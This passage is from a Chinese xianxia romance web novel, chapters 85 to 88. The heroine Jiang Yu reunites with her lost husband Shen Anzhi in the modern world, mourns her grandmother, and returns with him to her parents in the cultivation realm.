“百年前,我初坠此界,不过百岁稚龄。因一时贪玩,携灵玉下界。此玉可窥天机,预知福祸天数。” “当我怀上你时,灵玉第一次主动示警……我曾耗尽心力,闯入无尘仙山,只为寻一条重返天界、或许能避祸的路。终是无功而返。 然灵玉通灵,所感即天道。它既昭示此劫,我便与它联手,布下这盘以命为注的棋局,将你送去与修真界相反并立的新世界避祸,只待你成年后来此。” “阿愉,你能……明白一个母亲的苦心吗?”她抬手迟疑了一下,轻柔地摸上了她的头。 知晓一切,姜喻如遭雷击,死死盯着水镜的结局。 “我不明白,为什么……为什么偏偏要用沈安之的命才能换我活下去?” 姜喻抬头,抓住莫云岚的衣袖,“他真的死了吗?” 莫云岚神情万分挣扎。 第85章 “你便这般想知道他的事?”莫云岚眸光微动,姜喻与姜檀奚这对 父女在“执着”这一点上,倒是如出一辙。 “你和檀奚这点还真能是……”她无声地浅笑叹息一口气,轻抚了抚她发顶。 姜喻读懂她字词中似有转机,只差把“急切”二字明明白白刻在面颊,忙不迭开口道:“是,哪怕只有一丝线索,我都绝不能放过。” 莫云岚动容地失笑,掌心浮起灵玉。灵玉流光氤氲,微光闪烁。 “缘之一字,终需自证。”她将玉放落入姜喻掌心中,身影却如风中残烛般开始明灭不定,“拿着。一年期满,归途自现。” 灵玉入手温润,微光如水纹荡漾开来。姜喻只觉得心口发烫,眼前景象倏然扭曲。 轻轻收拢五指,将灵玉贴在心口。 灵玉之力,白光乍现,将两人带出心海。 姜喻从床上醒来,掀开帘子,就见一身红裙的莫云岚立在宿舍窗边。周身缭绕着未散的灵气,与窄小的寝室格格不入。 莫云岚转过身,轻声嘱托:“回去见到龙婆婆,记得替我问声好。这段时日,你多陪陪她。”顿了顿,她声音沉下去,“她时日不多了。” 一个“龙”字撞进耳中,姜喻立刻明白莫云岚说的是谁。 最后一句话像冰冷的手骤然攥紧了她的心脏,闷闷地,很疼。 她压下喉头哽意,点了点头,“好,我记下了。” 莫云岚深深望着她,目光几乎要描摹过她眉眼每一寸痕迹,像是要将这一刻,刻进神魂。 随即,她身影如水纹般轻轻一晃,“阿愉保重,我和爹爹等你回来。”话音刚落,莫云岚消散在空气中。 姜喻应答的好终究是说给了自己听。 狭小宿舍彻底安静下来,只剩窗外透进的天光。 她揉了揉发涩的眼睛,将残余的湿意逼退,利落下床开始收拾行李。 一路风尘仆仆。 高铁飞驰,窗外田园阡陌疾退,又被层层叠叠的青山取代。她转了一趟车,大巴换小巴,熟悉的小县城气息扑面而来。 一路尘土飞扬车站里,佝偻的身影翘首以盼,混浊的眼盯着每一个过去的大巴车。 见到姜喻从车上下来,龙奶奶身影颤了一下,急忙拄着拐杖迎上前。 浑浊的眼睛瞬间红了,枯瘦的手抓住她的胳膊,第一句话满是心疼:“阿喻呦,怎么累成这样了?眼睛都是红的,有没有好好吃饭……” “有,我有好好吃饭,奶奶,你看我还胖了。”姜喻含笑着应答,擦了擦眼角的湿润,松开行李箱,抱紧了奶奶佝偻的身躯。 龙奶奶抱着她,像安抚一个撒娇的小娃娃一样,不厌其烦地拍抚着她的后背,“想奶奶了,昨日不才打了电话。” “一通电话怎么够。”姜喻卸下所有的不安,有说有笑地讲述着学校的趣事,“奶奶,你都不知道……” 姜喻扶稳她的手臂穿过走过无数次的小巷,回到老旧小区。 楼下依旧是多是老头和老太太,三三两两聚在一起下棋、做做操…… 姜喻熟稔和每一个人打招呼,龙奶奶拉拉家常。也会在一旁悄悄地小声告诉她哪家的八卦。 姜喻会附和做出一脸吃惊得眨眨眼,龙奶奶此刻会非常满意地一笑,轻轻屈指敲敲她的脑门。 推开家门,熟悉的气息扑面而来。姜喻扶着门框,目光寸寸瞧过屋内陈设,恍如隔世。 她深吸一口气,一颗飘零又不安的心脏重新落回去。 还是家最让人安心。 餐桌上飘来馋人的香气,龙奶奶得知她的归期,摆满一桌子她爱吃的菜。 姜喻笑着接过不断夹来的菜肴,吃得两腮鼓鼓,却在老人转身盛汤的刹那,飞快抹去眼角滚烫的湿意。 陪着龙奶奶聊到月上窗台,姜喻才慢吞吞挪回房间。 新换的床单浸透阳光味道,窗户敞着,晚风裹着清风拂过粉蓝色窗帘。她将行李箱里的物件一一归位,匆匆洗完澡时,夜色已浓。 手机被攥得发烫,指尖在熄亮的屏幕间反复徘徊。她深呼吸做足心理准备,才重新点开某APP的《捉妖》一书。 挂在页面上是一则弹窗,作者不晚的请假条。请假条只有一个极具有个性的句号。 一个句号? 姜喻困惑地别了别嘴角,指尖轻敲了敲手机屏幕,下意识地翻开评论区。 铺天盖地的\"烂尾\"骂声里,零星掺杂着几条异样评论: [小可爱]:狗作者怎么加重女配戏份? [铃铛]:被大家骂到要改文,可不必这么改。女配大改我不说什么了,可待遇比我家女主还女主了? [公子]:蹲一个解释!!解释!!@不晚 她逐条翻阅,忽然发现所有更改的章节都是在她归家途中悄然更新的。 她并未点开重更的章节,径直翻到作者区赫然插在读者评论间的回复: “无人读懂的‘求妖’二字,所求本就是——姜喻。” 整个评论区早已为这句话沸腾。 姜喻的眸光钉在那行字上,诡谲的熟稔感撞上心头,激得她指尖发麻。 她忽地起身,窗棂外月光洒落在怔然的侧脸。 默然片刻,她终是坐回电脑桌前,手指悬在键盘之上,又垂下。 最终她托起腮,放弃挣扎般轻叹口气,指尖落下敲出几个字,点了发送:“你认识得沈安之吗?” 盯着消息发送成功,姜喻只觉荒谬。 她坐立不安地站起身又重新坐下,直到电脑响起“叮咚”的弹窗声,她匆匆瞧去,发现仅仅是一则新闻,失落地慵懒窝回床上。 困意一点点侵占了她的意识。 姜喻梦见了沈安之。 他只是静静地站在那里,不言不语,她便泣不成声,冲过去地抱紧他的腰。 沈安之张开手臂环住她,仿佛在这个怀抱里汲取到温暖。 姜喻哭泣声渐次隐没。 梦醒来时,天光大亮。 姜喻惺忪着眼,轻擦去眼角湿润,泛红的眼眶还有一些红血丝。 电脑未关的灯光映射在她脸颊,姜喻发现它一夜未关,随意瞟了一眼,没想到昨夜四点,作者不晚连发两条消息给她。 一条消息:是。 另一条消息回复:你喜欢? 姜喻盯着“喜欢”这两个字翻来覆去地看了又看,毫不犹豫地敲下几个字:是,我喜欢。 没想到对面的回复消息几乎算得上秒回:很好,有眼光。 姜喻被此人自信的语气逗得一笑,回复道:你为什么要写《求妖》? 正思索对面这个作者到底是谁,没想到对面秒回发来一句:你想知道的话,来云梦站见我,我路过。 姜喻端正坐好,意想不到作者路过的地方居然在家周边最近的高铁站。 她指尖轻敲了敲桌面,想到这是沈安之的小动作,心底一阵针扎般的刺疼。 沉默良久,久到姜喻都觉得自己失神的太久,纠结起身喝完一杯水,重新坐会电脑桌前,摩挲着挂在脖颈的灵玉,回答对面道:好,什么时候? 消息又是一次秒回:一日后。 姜喻回复了“好”后,对面再没有回复任何消息了。 她盯着两人的聊天框来回地瞧了瞧,更没想到自己会一口答应。 不过,姜喻颇为好奇,这个写出《求妖》一书的究竟是何人物。 早知道在娘亲走之前就该问问她。 两日的时间过的太快,快到姜喻甚至只是陪自家老太太溜了两回弯罢了。 姜喻打了车去到云梦站,穿着最朴素的小红裙,背着一个不知名的饺子包。随意地披散长发,戴着印着小熊图案的口罩,站在在云梦车站外,百无聊赖地划拉着消息的更新。 对话框迟迟没有动态,她不免怀疑自己会不会被耍了。 划拉着手机屏幕,短视频的光影在她脸上明明灭灭。 一道阴影毫无征兆地笼罩下来,压过了屏幕的亮光。她摁熄手机,下意识侧身让出路。等了几秒,影子的主人纹丝不动,她抬头撞进一双含笑眼睛。 同样戴着黑色口罩,却压不住周身过于出众的轮廓。他极高,瘦削却不单薄,长发随意散落落下。 宽松的黑色棒球服,阔腿牛仔裤衬得整个人越发疏落不羁,透着不合年纪的慵懒,又透出几分少年感的邪气。 眼尾朱砂痣殷红又妖冶,一双含笑又吸人心魄般丹凤眸,让人见之不忘。 战栗自脊骨窜起,心跳声擂鼓般轰鸣。 姜喻后知后觉,嘴角微微上扬。 ——这人原是冲着她来的。 她眼眶一热,眼角瞬间泛红,脸颊洇着因激动失而复得的霞红,泪珠如断线的珍珠,毫无预兆地大颗大颗坠落,正正砸进他慌忙捧起的掌心。 他低头吻去咸涩,薄唇轻柔落在湿漉的脸颊,将泪痕吻净。 姜喻忍不住破涕为笑,还没来得及抬手,整个人就被拉进那个熟悉的怀抱。 尾指摩挲着姜喻突起的腕骨,酥麻细痒顺着血液往心脏钻,却都比不过此刻汹涌扑来的思念。 “我回来了。”沈安之鼻尖亲昵地蹭着她的鼻尖,呼吸交错间,声音低哑,“你休想改嫁,这辈子别想再离开我。” 姜喻抱紧他的窄腰,熟悉的皂角香随着呼吸交缠在一起,她在他腰上不轻不重地捏了一把,眼眶打转着泪,“吓死我了,我以为你死了。” 沈安之眷恋地将姜喻紧紧锁在怀里,一吻落在她发顶,阴郁的微光在眸底挣扎着闪过。 “是,也不算全是。”他语气顿了顿,带着一丝难掩的后怕,“醒来时,我确实失去大部分记忆,只当自己来到了这个世界有一个重要的人等着我。” 第86章 “我在等,等着和你重逢的那一刻。” 他等重逢的机会,哪怕这一等是整整十九年春秋来回。 沈安之依旧孑然一身,岁月未曾在他容颜留下痕迹,修真界淬炼出的通天修为让他不过数月便参透此世法则,将系统知识尽数吸纳。 可他仍在等,一步步擦肩而过人海茫茫,期盼一抹绯红的身影能再度撞入眼帘。 心里便一直有个声音徘徊,每每于夜半梦回时,在耳畔不停地告诉他:等下去,一定要等到她。 沈安之的记忆早已残缺不全,他甚至分不清究竟是心海底处封印松动,还是心魔作祟种下的执念。 可每当梦中那抹笑颜再度浮现,姜喻言笑晏晏,眸若星辰,扬起手向他奔来,绯红衣裙翩跹似蝶,发髻间蝴蝶发簪薄翼翕动。 一举一动,魂牵梦绕。 便觉得哪怕再枯守十九年,他也甘之如饴。 十九年来,这场梦他反复做了千百遍。 沈安之的手臂收拢,将怀中温热的身躯锁得更紧。下颌抵在姜喻散落的青丝间,深深地吸了一口气。 熟悉的馨香顷刻间浸入肺腑,手指穿梭在她发间,动作轻柔又贪婪。 漫长岁月里的枯等,在这一刻尽数化作餍足。 “你来这个世界多久呢?很久吗?”姜喻急忙地追问,抬起那双妍丽的亮眸,视线交缠,她眨了眨眼,漆黑的瞳仁倒映着一张满眼含笑的沈安之。 沈安之爱惨姜喻这样看着他,满心满眼皆有他的身影。 夫人,只能看他一人,只对他一人笑。 “没有多久。” 沈安之选择了隐瞒,好叫姜喻不再担心和愧疚,不疾不徐道,“大概是几月前,记忆中有一模糊的身影与我计划,为了防止未来之事发生,我写下《求妖》一书。 一是盼望有朝一日,你若是阅览它,便能给予你提醒。二是梦境之人告知我完结的那一刻,我将全部记起记忆。 而它果真没有骗我。” 还好那些所谓的未来并没有发生,而他似大梦一场,醒来想到刻骨铭心的情感便如潮水涌来。 他奔赴而来,心心念念之人就在怀中。 姜喻眼圈发酸,沈安之甚至只想这般提醒,担忧她会发生意外,全然没被《求妖》一书的剧情影响左右,怀疑她的居心不轨。 欣喜地凑近一笑,沈安之微弯腰让她得以更近地靠近。 姜喻附在沈安之耳畔,嗓音含笑,轻声道:“我不是妖,重名本是神鸟。不过你失忆了,我可不计较这些。” 沈安之指尖轻点她额头,了然地颔首,姜喻的呼吸洒落在脖颈,他早经不住地轻笑一声,“嗯,我的夫人本就不是寻常女子。” 姜喻笑着歪头,“你路过云梦站,还和我走吗?” 沈安之牵紧她的手十指紧扣,“自然了,路过只是托辞。夫人不带我回家,我可要露宿街头了。” “这句话怎么这么耳熟?”姜喻小声嘀咕了一句,她回忆起来什么噗嗤一笑,故作叹息一口,似是安抚地拍了拍他的手背,“那我就带你回去,好不好?” 沈安之看她古灵精怪的样子,他挑眉一笑,“那就多谢夫人了。” 牵紧姜喻到云梦站外,沈安之打了一通电话,很快司机将自己的车开过来。 落地百万起步的黑色奔驰,姜喻面色的惊讶是掩饰不住。 “这,你的?”她意有所指地指了指奔驰,实在想象不出沈安之怎么在短短几月内攒够的这笔钱。 “更是夫人的。”沈安之牵着她,护着她坐上车,“这些时日我并非全然颓废,靠着灵力治病救人,攒下了一笔不菲的身家留给夫人。” 姜喻都觉得夸张了,不过她向来随遇而安的咸鱼本领一流,很快接受此事的冲击。 回到家前,姜喻特意提前告诉龙奶奶自己带了个人回家。 龙奶奶正带着老花眼镜,看着手机的年代肥皂的短视频,侧耳听见门被开了。拿下眼镜,反复定睛一瞧,进来个颀长的男人身影,“呦,这么人高马大。” “奶奶好。”沈安之面上闪过一丝慌张,哪怕不是姜喻第一次带他见家人。这位奶奶确实她心目中最特别的存在,他吩咐人搬来了半屋子的礼品堆放着,还引来街坊的围观。 “这……”姜喻扶着额,心虚地挠了挠脸颊,眼神四处乱瞟,不敢和龙奶奶困惑的眼神对视。 龙奶奶面上带着笑意,招呼着沈安之坐下,“小沈,来这里当自己家。快坐下,奶奶给你倒杯茶。” “奶奶没事的,不用那么麻烦。”沈安之正起身,被老人家热情地一把拉着重新坐下去。 “没事没事,先坐着。” 转头进了厨房,疑惑地摘下眼镜,拉着姜喻,小声和她咬耳朵:“这是你朋友?我看怎么像是来提亲似的?” “那个,确实不是普通朋友。”姜喻组织了一下措辞,认真道,“男朋友。” “男朋友?”龙奶奶倒茶的手一顿,拔高音量。 姜喻微探出身子笑着瞧见沈安之看过来,对奶奶连连点头,“是,千真万确。” 龙奶奶对此消息没抵触太多,看出沈安之对姜喻极为认真的态度,端着洗好的水果坐下来:“小沈呀,快吃水果。” “好,奶奶。” 姜喻笑着托腮看着沈安之,他坐的端端正正,让她想到了幼儿园小朋友,会认真地听老师的话。 沈安之俊朗的面相本就讨人欢喜,龙奶奶问了许多有关姜喻的问题,沈安之答的滴水不漏,才叫龙奶奶放心。 “你这小子不错,对我家阿喻很上心。”龙奶奶在最后给出了全场最佳夸赞。 沈安之侧眸一眨不眨地看向姜喻,“她本身就是极好又可爱的人。” 姜喻脸颊一热,龙奶奶这眼睛一扫就知道什么事情,站起身:“你们坐好了,让奶奶给你们露一手我们云梦地道的家常菜。” 做好一桌子饭菜,龙奶奶毫不厚此薄彼,一人端来一大碗莲藕排骨汤,两人都是一筷子菜堆在碗里,恨不得堆成山才好。 “你们都多吃点。小沈呦,你这瘦的是好看,但也不能太瘦了,对身体不好。”龙奶奶语重心长道。 “奶奶,他可不瘦……”姜喻话音未落,赶紧得垂下眸,扒了一口菜堵住嘴。 眼底藏着小小的懊恼,差点说漏了嘴。 她总不能说这家伙穿衣显瘦,脱衣有肉,身材好着很吧。 “你们两个都快吃,现在减肥要不得,美丑什么那是身外之物,上了年纪你们就知道,身体才是最重要的。”龙奶奶慈爱地给两人夹菜,深怕两人谁少吃一口。 “奶奶,我快吃撑了。”姜喻故作可怜对龙奶奶眨巴眼睛,求助似的看向沈安之。 “瞎说,才吃几口,小猫似的。”龙奶奶又夹了一筷子菜,见姜喻把碗一护,溺宠地点了点她额头。 “这顿饭,太好吃了。”沈安之夸赞着转移话题,余光瞟见姜喻的小眼前,无声地掀了掀嘴角。“奶奶,她确实吃不下了,我吃吧。” 龙奶奶这一筷子菜最终还是沈安之消灭干净了。 一顿晚饭虽简单,却是满室温馨。 龙奶奶不住地夹菜,笑声慈爱;姜喻就挨在他身边坐着,衣角偶尔擦过他的手腕。 沈安之握着筷子,忽然觉得此刻几分像“家”,这本是书籍才会出现的字眼,可如今活灵活现在身旁。 温暖,安稳,是他难得可贵,从未触碰过的光景。 夜深时,龙奶奶将沈安之带到一间紧闭的房间。 “这原是我儿子的屋,他离开的早,”她轻声道,“阿喻八岁后就由我带着了。” 推门而入,墙上是泛黄的童趣画作,笔触稚拙却色彩明艳。 沈安之指尖轻抚而过,灵力微转。 刹那间,他看见零星往事: 小女孩蹲在灶前烧火,背影伶仃; 雨夜灯下,她伏案习字,奶奶为她拢发。 没有父母相伴的年岁,她却一笔一画涂满了整面墙的色彩。 他收回手,眼底的情绪翻涌。 原来她的明朗下是从这样的土壤里,挣扎开出的花。 待龙奶奶退出房间,沈安之飞速洗漱完,换好了一身睡衣,轻巧地推开了门。 姜喻的房门没关,给他留了一条细长的门缝,他很轻松地推门而入。 姜喻等候多时,小声道:“安之,奶奶睡下了,这里可隔音不好。” 沈安之哪会不知姜喻倒底在暗示什么,揶揄地轻点她的额头,弯腰蜻蜓点水般吻在她唇上,“夫人,我是那般人吗?” “不是啊。你想什么,我可什么都没说。”姜喻故作无辜地眨了眨妍丽的亮眸。 “你这一双眼睛,可什么都说了。”沈安之好笑地轻哼一声,看她还光脚坐在沙发上,打横抱起她。 他坐在床沿上,姜喻跨坐在他腿上,他惩罚似的吻在她脖颈上,轻轻地吮了一口。 姜喻心底暗惊,没想到沈安之如今敢这么大胆,想到隔壁有睡下的龙奶奶,压抑着齿缝间的声音,嗔怪低语:“安之!” 沈安之满意地看着脖颈上的吻痕,头枕在她的颈窝虚靠,“我看见了……” 姜喻才想到有些东西还堆在老爹房间,没有收拾出来,“是不是太乱了?” “不是,很好。奶奶收拾的很干净。”沈安之小声开口,“我用灵力探查了墙上图画的过去。” “可你怎么这么大的反应?”姜喻捧起他的脸颊。 沈安之如实开口:“心中郁闷。” 沈安之甚至在想,他来到这里十九年光阴,为何命运弄人,他不能先一步找到姜喻。 第87章 这样,姜喻便不必尝遍清贫岁月的苦。 护佑在自己身边,只需快乐便好了。 沈安之心疼地搂紧她,手轻柔地抚弄着她的秀发。 可惜一切并未有“如果”一词。 紧紧相拥着,姜喻清晰闻到沈安之身上有她沐浴露的兰花香顿感安心,窝在沈安之怀里,狡黠一笑,轻亲滚动的喉结。 全然不顾他幽深的眸色,姜喻笑着用鼻尖蹭了蹭他的下颌,轻声一笑道:“安之,你身上的味道越发好闻了。” 沈安之深吸一口气,眸色幽深晦暗,迷离地啄吻在她脸颊。温软在怀,强压下翻涌的欲.色,“我可是憋了……夫人这般打趣我,我若是忍不住怎么办?” “我信你定力极佳。”姜喻故意地眨了眨眼亮眸。 沈安之忽的一笑,“夫人说的对。” 姜喻被他抱着,他确实未对她过多动手动脚,最多是情难自抑地亲亲啃啃。 不多时姜喻都被吻的昏昏欲睡,沈安之喉结滚动,还未满足,落下一吻印在她眉心。 轻柔地放在床上,时时刻刻不撒手地抱着她,附耳轻声道:“晚安,夫人。” 姜喻闭紧眼,小声嘟囔道:“晚安。” 一夜好梦。 姜喻被沈安之抱睡的很安稳,睡眼惺忪地醒来时,身侧空空如也,她伸手摸了摸身侧被褥,还有余温。 沈安之在龙奶奶察觉前离开了姜喻的房间,扮做刚醒去楼下买了三人的早餐。 龙奶奶越看沈安之越欢喜,大早上吃了早点就下楼,给两人腾出空间。 姜喻洗漱完走出房门,瞧见餐桌上各式各样早点,坐下时微怔愣一下,“安之,你买这么多?” “夫人喜欢就多买了一点。”沈安之散漫惯了坐在椅上,指尖习惯性夹着一枚铜钱,轻敲在桌面上。 你的一点,我的一点,好像不一样。 姜喻一边慢悠悠小口吃着小笼包,一边抬眸瞧着沈安之修长指尖的那枚铜钱,样式和他之前的一模一样。 “从未问过你,为何喜欢铜钱?其他人无不希望武器越发锋利才好,你的武器却是一把铜钱剑。”姜喻困惑地眨了眨眼。 沈安之侧身笑吻去姜喻唇角的豆浆,提起往事记忆难以释怀,垂眸看清姜喻已在身边,心底晦暗下是满足。 “你消失时留下的一袋铜钱,我炼化成了武器,许是遗忘也难以释怀。我想,怕是天意,你我早就分不开。” 姜喻眼波微转,眸底泛起细微涟漪。她不曾想到,其中竟有如此渊源。莫非这一切,早就在莫云岚的计划之中? 用过早餐后,沈安之早已将一日的行程安排妥当。似是想要将数月未见的时光尽数弥补,他带着她去了水族馆与游乐园。 姜喻没想到沈安之竟会选择这样的地方约会。 她仰起脸,望着玻璃后游弋的鱼群,笑得眼角弯弯:“小时候总想着来,可惜那时奶奶繁忙,来的次数屈指可数。” 沈安之想起姜父房间墙壁上画着水族馆涂鸦,牵着她的手手不着痕迹地收紧,俯身贴近她耳畔,嗓音低沉似蛊惑:“无妨,往后夫人想来,我可以日日陪夫人来。” “好啊。”姜喻侧眸轻笑。 离开水族馆大门时,姜喻不过多看了两眼娃娃机的小海豚,沈安之牵着她的手一顿足。 “等我一下。”他寻工作人员换了硬币,三两下,给她抓好几只浅蓝色小海豚娃娃让她抱着。 姜喻抱着这些娃娃,看着一旁小朋友们的羡慕的目光,打趣地反问:“我不就看了一眼,你就塞我一堆娃娃。那我以后岂不是可以看什么,你就给我什么?” “可以,只要你想。”沈安之颔首认同,眸光落在娃娃上有些郁闷,早知道去寻个口袋装着,不必让姜喻这般抱在怀里。 “给我抱着吧。”他顺手接过去,心满意足地单手抱着,一手轻揽着她的腰肢。 姜喻踮起脚尖,飞快地吻在沈安之脸颊,清亮的眸光一眨不眨地瞧着他,“我现在就看着了,看着你了。” “我早就是夫人的人了。”沈安之语气说的坦荡,可耳尖薄红无疑昭示难得被姜喻撩拨,心口揣着的小人不停地乱跳。 姜喻狡黠一笑,合不拢嘴,计划得逞。 两人视线在空中交织,心意相通般,唇瓣不知何时轻贴在一起。 姜喻闭上眼感受到沈安之温柔止水般的温柔,引导沿着唇线辗转。 一吻成瘾。 沈安之轻笑地打横抱起她,飞速去了停车场,几乎是关上的车门一刹,身形覆上姜喻的身躯,牵引她的手缠上脖颈。 指尖一路撩拨往下,姜喻羞得轻咬在他的肩头。 “会被看见。” “这是单向玻璃,他们看不见我们。“沈安之耐心解释完,哼笑一声,指腹在腰窝摩挲打转,时不时剐蹭在她的脖颈和锁骨,多是轻扣后脑勺,缠着她痴痴的吻。 “我答应夫人的事情,万不会食言。” 一吻分离时拉出暧昧的银丝,姜喻脑袋发懵,迷蒙地抬眸瞧着沈安之,察觉他气息同样紊乱的紧,发出灵魂的疑问:“嗯?什么食言?” “自然是……教夫人学到换气为止。”沈安之诱哄地吻在她脸颊,眸光紧紧锁在姜喻红透的容颜。 “你这是……”给自己谋福利吧。 姜喻半嗔半羞,每一 个字音都被沈安之一一吞入腹中,化作一声声比之更为动人的轻哼。 似乎是他的那一句外面人看不见,导致姜喻不自然地会看向车窗外,会不会真有人影掠过。 姜喻倒吸一口气,舌尖微微发麻,原是勾缠在唇齿时,被沈安之有意地轻咬了一口。 他瞧见姜喻这般在意的出神,有被遗忘,故作委屈地凑近一些,“夫人,看我。” 姜喻笑着咬了一口他的面颊,“看你,看你,不许咬我了。” “谁叫夫人不专心。”沈安之眸底压抑欲.望呼之欲出,翻涌着暗流汹涌的墨色,知晓她在意什么硬生生又忍了下来。 牵引她的手向下疏解。 姜喻几次三番要抽离手,这家伙便摆出一副“楚楚可怜”的神情唤她“夫人”,姜喻只好任他胡作非为了。 **** 一年时光,如指尖流沙。 这一年里,姜喻异地开学,沈安之便直接将办公地点搬到她学校旁。 每逢假期,两人陪着龙奶奶飞往各地旅行,看遍山河辽阔。 龙奶奶从最初摇头失笑,到最后默许两个年轻人天天在眼前恩爱,总是故意板着脸说“腻歪得没眼看哟”,眼角的笑纹却藏不住的纵容。 升入大三的某个午后,姜喻正在图书馆赶制课堂PPT,手机突然震动,习惯性地走向洗手间戴上耳机接听。 耳际嗡鸣,电话那头的消息让她指尖发颤。冲出图书馆时,沈安之已经等在门外。 他额间沁着细汗,来接她赶的匆忙,一把攥住她冰凉的手驱车直奔医院。 龙奶奶是在睡梦中离世的。 邻居串门时发现她安详地躺在沙发上,送医抢救终究回天乏术。 医生那句“节哀”落下的瞬间,姜喻终于崩溃痛哭。 沈安之将她紧紧箍在怀里,任由她的眼泪浸湿衬衫,泛红的眼眶极为心疼。 他们为龙奶奶办了简单的葬礼。龙奶奶没有兄弟姐妹,这世间与老人有牵挂的,只剩姜喻一人。 整整三日,她都浑浑噩噩,如同游魂。 沈安之从身后将她拥入怀中,温热的掌心覆上她的手背,声音哑得厉害:“夫人,难受就哭出来。你还有我,永远都有我在。” 当这方天地的牵挂离去时,姜喻泛起熟悉的感觉——灵玉将通道开启了。 “灵玉在唤我回去了。”姜喻回身抱紧沈安之的腰身,泪意洒在他衬衫上。 “夫人,想回去吗?”沈安之将她搂得更紧,温热的胸膛贴着她微颤的身形。 姜喻抬眼的瞬间就被吻住了唇。 这个吻来得突然却又温柔,将她未说完的“你可以先回……”尽数碾碎在交缠的呼吸间。 “我陪夫人。”沈安之指腹安抚地轻摩挲她后背,像在安抚受惊的猫。 “有你的地方才是归处。”沈安之抵着她的额间,声音坚定,“修真界也好,21世纪也罢,哪怕夫人要去三千世界,我也寸步不离。” “好。”姜喻微弯唇,指尖轻勾他的尾指摇了摇。 姜喻未打算第一时间回去,这里有些事情总得处理好才走。她将大学课业完成顺利毕业的那一日阳光正好。 当两人拿着刚出炉的结婚证站在民政局门口时,才发现彼此掌心都沁出了薄汗。彼此难掩的小紧张,竟真像新婚夫妻般相视一笑。 “我现在不仅是沈安之明媒正娶的新娘子,更是领着结婚证合法夫妻了。”姜喻抬眸眨了眨眼,轻摇着手中红本,“以后请多指教。” 沈安之心中仅存的紧张皆被狂喜取代,扣住她的后颈吻下来,在人来人往的街头笑得像一只偷腥的猫。 “夫人,如今属于我一人了。” 携手踏入家门的瞬间,灵玉泛起涟漪般的微光。 两人相视,默契地闭上双眼,任由灵玉流转的波动将二人包裹。 再睁眼时,姜喻已被沈安之牢牢护在身侧,并肩立于风云城,姜府正厅。 盏中灵火摇曳,映得堂内流光溢彩,姜檀奚与莫云岚已静候多时。 “阿愉……”他们再也按捺不住,快步上前将女儿从头到脚细细打量,看向一旁沈安之安然无恙。 姜檀奚眼底涌动着难以掩饰的关切,眼眶泛红,“你们回家了就好。” 第88章【正文完】 第88章 “老爹,娘亲,我们回来了。”姜喻牵紧沈安之的手上前行礼。 “见过两位长辈。”沈安之从容不迫地规矩行一礼,这才松开姜喻的手。待礼行完,马不停蹄地牵上姜喻的小手,指腹摩挲着温热掌心。 沈安之立未见半分局促,眸光静扫过姜氏双亲,眸底含三分清浅笑意。 他坦荡自如,全然是因姜喻立于身侧,她亲手铸就的底气,比任何人都来的珍重。 莫云岚眸光不着痕迹地掠过两人相携的手,交叠的双手无声宣告两人。 她眉心微蹙一瞬,又悄然舒展,终是化作一声无声的轻叹,抬眼与姜檀奚对视,唇边凝出一抹了然的浅笑。 她太清楚了,即便强行将二人拆开,也定是斩不断、理还乱的结局。 时至今日,他们之间欲要分离,难于登天。 何况这般情状,她与姜檀奚,又何尝不是一路如此走来。 姜檀奚已有十年未见姜喻,思念早已蚀骨焚心。见女儿完好无损地站在眼前,甚至脸庞还圆润了些许,紧绷的心弦稍松。 看向沈安之不自觉地流露出一丝紧张,急声开口:“你寻回阿愉,我们铭感于心。可魔域终究是妖魔横行之地,阿愉绝不能去。” 纵然是沈安之是他的女婿,可对他的身份,姜檀奚终究忌惮三分。 他如今更怕他一言不合便将宝贝女儿带回危机四伏的魔域。 这些年来那片混乱之地虽动荡不休,却似乎背地有一股莫名的力量在暗中镇压,有序井然。十年间,自成一方气候,反而令凡间妖祸日益减少。 “既然回来了,阿愉身份想必瞒不了多久。”莫云岚眸光关切溢出,“阿愉,风云城未来系你一人,你绝不可入魔域。” 担忧再度重现之事隐患,话虽是对姜喻所说,眸光却定定地看向沈安之,“你可想过东窗事发,阿愉面临的会是什么……” 沈安之背脊笔直如松,周身隐隐浮动着一层魔气,声音如玉石相击: “我愿以神魂起誓,此生绝不负姜喻。魔域建立之初本就是为了护佑我所爱之人,纵使夫人不是妖,我都绝不会让魔域之责落在她身上,成为世人伤她的利刃。” 姜喻上前一步,侧眸望向他,眸底潋滟灼灼,声音掷地有声:“安之是我的道侣,是为我入魔,为我筑城之人。从今往后,刀山火海,我同他一起扛。” 姜檀奚长叹一声,袖中指尖微微松动。 凝视沈安之良久,目光掠过对方眼中不曾掩饰的偏执与深情,终是了然。 与莫云岚对视间,夫妻二人唇角扬起笑意。 姜檀奚伸手揉了揉姜喻的头发,语气宠溺又无奈:“既然阿愉心意已决,家中灵石法宝管够。想护着谁,便去护吧。” 姜喻没料到这般顺利,眉眼笑弯如一轮新月,笑盈盈扑进莫云岚怀里。 莫云岚笑着接住她,姜檀奚展臂将生命中最重要的两人一同环住。闭上眼,满足得强忍着眼底的水光。 此生所求,不过妻女在怀,人生终是美满。 * 两人携手穿过正厅,缓步走向后花园。四周灵力浮动,熟悉的清灵之气缠绕在珍贵花木间。 沈安之收拢手指,将她的手握得更紧。抬手为她理了理微乱的发鬓,低声道:“夫人,我们到家了。” “是啊。”姜喻含笑应着,侧眸看向他,“安之,你打算回魔域吗?” “夫人去哪,我便去哪。”他侧眸轻笑,眼底藏着一缕执拗的微光,“不过近日风云城怕是要热闹起来了。” 姜喻不由莞尔,想起姜檀奚匆忙离去时一口一个“非替阿愉正名不可”的模样,忍不住摇头。 果然不出三日,修真界各处皆传遍“风云城少城主姜喻归来”的消息,一时议论纷纷、波澜暗起。 外界喧哗不止,风云城内更是连摆七日盛宴,笙歌不绝、灵灯长明。 可姜喻与沈安之似隔绝纷扰,守着一方清净,终日相依相伴、蜜里调油。 沈安之因魔主身份不便明示于人,可他全然不将虚名放在心上。 世间万千浮誉,于他而言,皆不如姜喻一个吻来得真切。 他揽过姜喻的腰,御风直上摘星楼。 只见姜喻倚栏小酌,腮染嫣红,亮眸潋滟地望着满天绽开的烟火,扬唇一笑。 沈安之凝视她的笑靥,唇角不自觉扬起:“夫人如今回来,真的很开心。” 姜喻醉眼朦胧地倚在沈安之肩头,青丝散落在他掌心,他爱不释手地用尾指勾缠着发尾,“是啊,这里有爹娘,他们待我这样好,好得叫人心里暖烘烘的。” 沈安之低笑,薄唇在姜喻眉心落下一吻:“我陪夫人慢慢适应。” “好呀。”姜喻拖长尾音傻笑一声,鼻尖蹭过他颈侧时忽被单手捧着脸颊。指尖漫不经心摩挲她的脸颊,吐息却烫得骇人。 